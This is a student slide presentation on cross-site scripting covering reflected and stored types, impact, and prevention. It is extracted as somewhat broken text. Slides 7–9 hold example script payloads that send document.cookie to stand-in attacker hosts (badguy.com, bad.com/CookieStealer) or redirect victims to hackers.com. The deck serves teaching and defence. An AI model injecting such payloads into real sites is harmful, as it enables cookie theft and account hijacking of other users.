Cross- site scriptin g (XSS) PRESENTED BY : RAJENDRA DANGWAL B.Tech( IT)
Cross-site scripting (XSS)
PRESENTED BY :RAJENDRA DANGWAL
B.Tech(IT)
04/10/2023 2
OVERVIEW CROSS-SITE SCRIPTING
XSS (-ve) effects
Cross Site Scripting Types
Who is affected by XSS?
HOW TO PREVENT XSS
Impact of XSS-Attacks
Summary
04/10/2023 3
Cross-site scripting or XSS is a defined as a computer security vulnerability (weakness) found in web applications.
XSS allows for code injection by malicious web users into Internet pages viewed by other users.
In an XSS attack, the attacker
gains the ability to see private user IDs, passwords, credit card information and other personal identification.
CROSS-SITE SCRIPTING (XSS)
04/10/2023 4
stealing other user’s cookies stealing their private information
performing actions on behalf of other users
redirecting to other websitesShowing ads in hidden IFRAMES and pop-ups
XSS (-ve) effects
04/10/2023 5
Two known types: Reflected (Non-
Persistent)• Link in other website or email
Stored (Persistent)• Forum, bulletin board, feedback form
Cross Site Scripting Types
04/10/2023 6
The Reflected Cross-Site Scripting vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.
Reflected (Non-Persistent)…
04/10/2023 7
Reflected (Non-Persistent)
Send e-mail with <script> tags embedded in the link.
Follows link and the script executes
1
2
http://mybank.com/account.php?variable=”><script>document.lo
cation=’http://www.badguy.com/cgi-bin/cookie.cgi’”%20+document.cookie</script>
www.badguy.com
Cookie collector
Malicious content dose not get stored in the serverThe server bounces the original input to the victim without modification
04/10/2023 8
In persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users.
see original post<script>window.location = "http://www.hackers.com?yid=";</script>
Stored (Persistent)….
04/10/2023 9
Stored (Persistent)
Upload malicious scripting commands to the public forum
Bro
wse
Do
wn
lao
d
mal
icio
us
cod
e
Public forum web site
Attacker
Victim
1
2 3
Great message! <script>var img=new Image();img.src= "http://www.bad.com/CookieStealer/Form1.aspx?s= "+document.cookie;</script>
The server stores the malicious contentThe server serves the malicious content in its original form
04/10/2023 10
XSS attack’s first target is the ClientClient trusts server (Does not expect
attack)Browser executes malicious script
But second target = Company running the Server
Loss of public image (Blame)Loss of customer trustLoss of money
Who is affected by XSS?
04/10/2023 11
Access to authentication credentials for Web application Cookies, Username and Password
Normal usersAccess to personal data (Credit card, Bank Account)
Access to business data (Bid details, construction details)
Misuse account (order expensive goods)
High privileged users Control over Web application Control/Access: Web server machineControl/Access: Backend / Database systems
Impact of XSS-Attacks
04/10/2023 12
Clint side•Cookie Security•Verify email•Always update
Server side•Input validation (Black listing VS White listing)•Encode all meta characters send to the client•keep track of user sessions •Web application firewall•Always test
HOW TO PREVENT XSS
04/10/2023 13
Cross-Site Scripting is extremly dangerous Identity theft, Impersonation
Cause: Missing or in-sufficient input validation
XSS-Prevention Best Practices Implement XSS-Prevention in application
Do not trust client side validation
Check and validate all input before processing
Do not echo any input value without validation
Summary
REFERENCES
http://www.acunetix.com http://en.wikipedia.org/wiki/Cross-sit
e_scriptinghttp://www.google.com
http://www.google.com XSS Attacks: Cross Site Scripting
Exploits and Defense :-Seth Fogie (Author), Jeremiah Grossman (Author)
04/10/2023 15